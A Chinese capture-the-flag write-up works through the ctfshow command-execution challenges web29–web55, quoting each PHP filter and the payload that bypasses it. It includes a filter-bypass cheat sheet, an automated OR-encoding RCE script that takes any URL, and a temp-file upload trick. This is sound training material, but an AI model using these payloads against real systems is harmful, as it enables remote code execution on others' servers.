ctfshow_web入门_命令执行wp


wp

web29

过滤了”flag“

用*绕过就行了,/c?=system(“cat f*");

web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤了flag和system,使用passthru替代,payload:url/?c=passthru("cat fl*");即可

,跳转后发现没有显示,看一下f12,原来在注释里面,我睿智的搞了半天还以为是没写对,hhh,.

web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,.还有空格。需要绕过空格,使用URL编码进行绕过空格,使用more(less)命令绕过cat,即可获得flag:

url/?c=passthru("more%09f*");

就可以得到flag了,

注:

编码:

很多时候会混淆编码,把URL编码记成了Unicode,还是遇见的太少了,这里做一个记录:

1.以%开头的一般是做了URL编码的

2.以&#开头的一般是做了Unicode转义处理

3.以&#x开头的是做了Unicode 16进制转义

4.以\u开头的是一般是UTF-8编码。

5.字符串后面以=结尾的,通常是做了base64编码处理的。(base编码,不一定是base64)

web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

在上一道题的基础上过滤了分号,反引号,括号,但是没过滤冒号,使用文件包含获取flag,payload如下:

url/?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resourse=flag.php

web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

同一个payload打就可以了,但过过滤了引号。所以稍微改一下不加引号就可以了,同时,前一道题也可以用这个payload。

url/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

多过滤了冒号,但是是对c的参数进行的过滤,所以后面使用的文件包含并不会被限制,所以可以继续用上一道的payload就可以了

url/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

多过滤了等号,还是上面的payload

url/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

多过滤了数字0-9,还是可以用这个payload打通

web37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

这里使用了include函数,我们来看一下PHP的include函数:

include函数用于包含并运行指定文件,与require函数几乎一样(除了处理失败的方式不同,)对于include_once和require_once也是包含并运行,但其指定文件只能被包含一次,PHP会检查是否有多次包含该文件,若有,则不执行

对于其对于包含文件的位置的查找方式,详见PHP文档:include文档,这里只用知道他是干什么的就好了,简单对文件包含的漏洞做一个总结

通过include文档可以看到:

文件包含支持封装协议,也就是说,我们可以通过在url中使用这些封装协议来完成更多的事情,这其中也就存在了很多的可以进行攻击的点

支持的协议和封装协议 (文档)

这里有一个前人总结的部分方法:

回到题目,过滤了flag,大小写无法绕过,那么使用*进行绕过,使用data://

payload:

?c=data://text/plain,<?php system("cat fl*");?>

即可得到flag:flag{aa0d4389-f830-4985-9653-11ca2dac828b}

不知道为什么不能用input来进行cat输出,试过了不行,需要搞明白

这里附上Smi1e师傅写的一篇文章,各个协议写的很清楚

这是链接

下面个人对其中的一些我认为比较重要的点进行一点记录

php:// 访问各个输入/输出流(I/O streams),在ctf中我们会时长使用到两个协议:php://filter和php://input,其中php://filter用于读取源码,php://input用于执行php代码。

  • php://filter
  • php://filter`是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

我们经常可以在文件包含的题目里看到这样的payload:

?c=php://filter/read=convert.base64-encode/resource=flag.php

该payload的作用是以base64编码的方式读取flag.php的内容,对其进行一个解读:

这里的read是读取的过滤器,这里的过滤器为convert.base64-encode,如字面意思,把输入流进行base64编码,resource就是要读取的内容。

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>        任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

除了convert.base64-encode,还有很多的过滤器,,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器,具体描述见链接,过滤器

  • php://input

php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

所以本题使用php://input 无效的原因很可能就是这里

  • data://

    data:资源类型;编码,内容,数据流封装器,当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

    PHP.ini:
    data://协议必须双在on才能正常使用;
    allow_url_fopen :on
    allow_url_include:on
    php 版本大于等于 php5.2

  • zip://, bzip2://, zlib://协议

PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

3个封装协议,都是直接打开压缩文件。
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

  • zip://

php 版本大于等于 php5.3.0
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]**
要用绝对路径+url编码#

大概记录到这里,大致对文件包含有一定的了解了,在后续的练习中进行详细了解

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

过滤了flag,php,file,上一道的payload中的php被过滤掉了,对PHP语句进行一次base64机密即可,payload:

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwqIik7Pz4=

web39

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

过滤了flag在include的时候加上了后缀.php这样如果按照之前的方式进行会变为包含文件flag.php.php出题者想的应该是这样是无法进行读取的,要用别的方法,但发现用37题的payload就可以打通了。。。不知道是在想什么,我们做题家是这样的,做完就跑,原理不管

看了一下hint,

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

懂了,算是对开发进行提醒吧,这样做并不能有效的进行过滤,没用,

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

对数字和一些符号如单引双引号进行了过滤,也过滤了冒号,那这些协议就不能用了,但是没有过滤分号,看来还是可以操作的?没见过这么操作,不懂,看wp了,哈哈哈。

最开始使用到session_id(),修改session内容为我们想要的命令,使用函数调用,实现执行语句的目的

payload:?c=session_start();system(session_id());

发现可以执行,会列出有flag.php,index.php

但如果按照这个思路继续的话是将session内容改为flag.php,然后使用height_file(session_id())来进行查看,但是不行的,因为在PHP版本 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。这里的PHP版本不支持,所以该方法不行。

但还是可以进行记录

  • session_start():会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话
  • session_id(): 可以用来获取/设置 当前会话 ID。
  • 具体详见php_session

所以最开始的payload是首先重用当前会话,然后调用session_id,

本题需要使用到其它解法:

记录payload

:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

对函数进行解析:

  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

  • pos(): 返回数组中的当前元素的值。

  • array_reverse():数组逆序

  • scandir():获取目录下的文件

  • next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了

我们想要第二个,所以将数组逆序,再用next就可以得到flag.php,

web41

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

完全不会,看wp:wp

对$、+、-、^、~进行了过滤,让异或,自增,取反等无法执行,值留下了一个可用符号|

我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符

wp给出了脚本:

rce_or.php:从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符,传递参数getflag

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);    #转换为16进制
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

用法 python exp.py <url>

这样就能得到flag了。。。但我还没弄懂具体原理,需要再看看,但这俩脚本可以在以后遇见或运算符|绕过时进行修改使用。

web42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

get方法获取参数,system执行命令,主要语句是>/dev/null 2>&1,该语句在shell脚本中经常可以看到,可以参考下面这篇文章>/dev/null 2>&1对该语句有详细讲解,

其中/dev/null可以看做一个只写的文件,但所有写入的东西都会丢失,尝试从中读取是读取不到任何内容的,

>代表重定向,echo “123” > /home/123.txt 意思是echo 123 到/home/123.txt中

类型 文件描述符 默认情况 对应文件句柄位置
标准输入(standard input) 0 从键盘获得输入 /proc/self/fd/0
标准输出(standard output) 1 输出到屏幕(即控制台) /proc/self/fd/1
错误输出(error output) 2 输出到屏幕(即控制台) /proc/self/fd/2

2代表错误输出

1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/null

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

这条命令的意思是将标准输出和错误输出全部重定向到/dev/null中,也就是将产生的所有信息丢弃

省略了标准输出1,等价于为 1>/dev/null 2>&1

标准输出重定向到/dev/null,错误输出重定向到标准输出,前面标准输出已重定向到/dev/null,所以标准输出/错误输出都重定向到/dev/null,及全部丢弃,

回到题目中,我们想要执行命令,比如ls,?c=ls,但这样会被重定向到/dev/null中,我们无法看到回显,所以要进行截断,使用分号;就可以截断或者使用%20(空格)%0a(换行)进行截断,

url/?c=ls; url/?c=cat flag.php;
url/?c=ls%a0 url/?c=cat flag.php%0a
截断后既可以不被后面的重定向干扰,实现输出

web43

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一道题的基础上过滤了分号和cat,使用%0a进行截断(或者使用||进行截断)并将cat用nl进行替换

nl命令在linux系统中用来计算文件中行号,nl 可以将输出的文件内容自动的加上行号,及输出文件内容的时候在前面加上行号,

或者使用tac命令,tac命令用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。

所以在本题中可以看到执行了命令后会有一个行号1

本题payload:

url/?c=ls%0a url/?c=nl flag.php%0a

web44

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一道题的基础上过滤了flag,使用*即可,payload:

url/?c=nl fla*%0a

web45

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一道题的基础上过滤了空格,绕过空格就好了

使用%09绕过空格即可,payload:

url/?c=nl%09fla*%0a

各种绕过的方法其实很多,在这里进行一个记录

各种绕过姿势简要记录

这里是师傅erR0Ratado的博客中的关于这几道题42-54的wp中记录的,进行一个摘抄

分隔命令

;    //分号,截断
|    //只执行后面那条命令
||    //只执行前面那条命令
&    //两条命令都会执行
&&    //两条命令都会执行

通过分隔命令来实现执行的命令的控制,比如分号和||可以用于这几道题的截断,

空格绕过

<
<>    //需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A

通过这些可以对空格进行绕过

黑名单绕过

    //一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
通配符
*    //匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
?    //匹配单个任意字符

空字符
$@    //ca$@t flag
$1-$9    //ca$1t flag
${数字}  //ca${1}t flag

编码绕过
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash    //解码为cat flag.php并执行
echo "cat flag.php"|base64    //最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令

变量替换
a=t;b=g;ca$a fla$b.php

引号
ca''t fl''ag.php

反斜杆
ca\t f\la\g.php

通过这些可以绕过部分过滤

linux查看命令

有的时候cat会被过滤掉,这样就可以使用其他的命令来进行代替,

cat        //cat flag.php
tac        //tac flag.php
head    //head flag.php
tail    //tail flag.php
nl        //nl flag.php
more    //more flag.php
less    //less flag.php
od        //od flag.php
grep    //grep 'fla' flag.php
strings    //strings flag.php
sort    //sort flag.php
paste    //paste flag.php

web46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在之前的基础上过滤了数字,通配符*,$符,

因为过滤了数字和$,所以绕过空格的方法只有使用尖括号了,过滤了*可以使用?或者使用单引号进行绕过,payload:

url/?c=nl<>fl''ag.php||
url/?c=c''at<fla?????||    #这一个不能用,但应该是可以的啊

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一道题的基础上过滤了几个命令,more,less等,直接用nl或者别的,或者直接ca’’t即可绕过,和上一道的payload相同。

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又多过滤了几个命令,但依然用的上一道的payload即可,这几个命令是什么意思呢,简要记录一下

sed:Sed 主要用来自动编辑一个或多个文件、简化对文件的反复操作、编写转换程序等。

cut:cut命令用于显示每行从开头算起 num1 到 num2 的文字。

awk:AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。

strings:打印文件中可打印的字符

od:od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。

curl:在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具

具体用法遇见了再说

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了百分号%,继续用上一个payload

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了\x09,\x26,ascii编码中的Tab和&被过滤了,但并没有影响,所以还是同样的payload

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了tac,但依然没有影响,依然是上一道的payload

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了尖括号<>,但去掉了对$的过滤,用${IFS}进行空格的绕过

payload

url/?c=nl${IFS}fla''g.php||

执行后:

假的,不在这里,看根目录下内容

url/?c=ls${IFS}/||

看到了flag,应该是在这里

使用nl查看即可看到flag

payload:

url/?c=nl${IFS}/fla''g||

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

终于有所改变了,过滤的条件和上一道题一样,但没有了输出输入重定向到丢失的。而是用变量d存储system执行后的语句,再将其输出,

先ls

url/?c=ls

再看flag.php,不需要截断也可以

url/?c=nl${IFS}fla''g.php

即可得到flag,而readflag中是一堆乱码,不做记录

web54

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤条件改变,使用.*,进行贪婪匹配,让之前一直用的使用单引号绕过无法实现,

使用paste用于cat绕过,?进行匹配,但对cat使用?就不行,不懂这是为什么,也可以使用另外的payload

url/?c=paste${IFS}fla?.php
url/?c=/bin/?at${IFS}fla?.php
/bin 目录是用于存放命令的,在其下面有cat命令,用?进行匹配,可以使用cat命令

web55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这道题过滤了所有的字母,完全不会,我们废物是这样的,看wp,

firebasky师傅的博客p师傅的博客,看了以后受益匪浅,又学到了很骚的姿势,现在对这题进行一个记录,先是一种使用base64进行的解法:

因为对所有字母都进行了过滤,那我们选择用?通配符进行替代,而我们知道/bin目录下是存储的各种命令,那么用没有被过滤的数字64作为限制,匹配命令base64,payload:

url/?c=/???/????64 ????????    
url/?c=/bin/base64 flag.php #这是对应的正常命令

这样就可以执行了

这样可以得到flag.php的base64编码形式,解码就可以得到flag了,这样看这道题其实也不算难,但我们使用p师傅和firebasky师傅的方法会更好,因为如果数字也被过滤了这个方法就不能用了,下面来看骚操作的方法,

简单来说,使用.,没有被过滤,在linux下,用.来执行文件(执行文件这是不对的,但我组织不好语言就这么记了). filename,执行该文件,我们使用post,上传一个php文件,该文件中是我们想要执行的命令,比如ls,而php会将我们上传的这个文件保存在临时文件夹下,并改变其命名即保存为/tmp/phpXXXXXX,后面六位是随机的字母,查阅可知,这后六位可能出现大写字母(也有可能不是),利用这个特定对其进行匹配,用到正则表达式,我们可以看到,正则表达式[0-9]意思是匹配数字0-9,大写字母也可以这样用,看看ascii码表

从@到[之间是大写字母,所以我们用[@-[]来进行匹配

所以,payload就可以知道了

url/?c=. /tmp/????????[@-[]    #用.执行这个文件

但在使用payload之前需要用post传递一个.php文件上去,可以用postman来传,也可以写一个小静态页面来进行提交

<!DOCTYPE html>    <!-- firebasky师傅写的,借鉴一下了就-->

<html lang=en>
<head>
<meta charset=UTF-8>
<meta name=viewport content=width=device-width, initial-scale=1.0>
<title>POST数据包POC</title>
</head>
<body>
<form action=http://0cecb8d6-14cb-487c-8d04-ea303fd8ff17.chall.ctf.show// method=post enctype=multipart/form-data>
<!–链接是当前打开的题目链接–>
<label for=file>文件名:</label>
<input type=file name=file id=file><br>
<input type=submit name=submit value=提交>
</form>
</body>
</html>

:hexoPostRenderEscape–>

更换题目链接打开这个网页就可以以post上传.php文件了

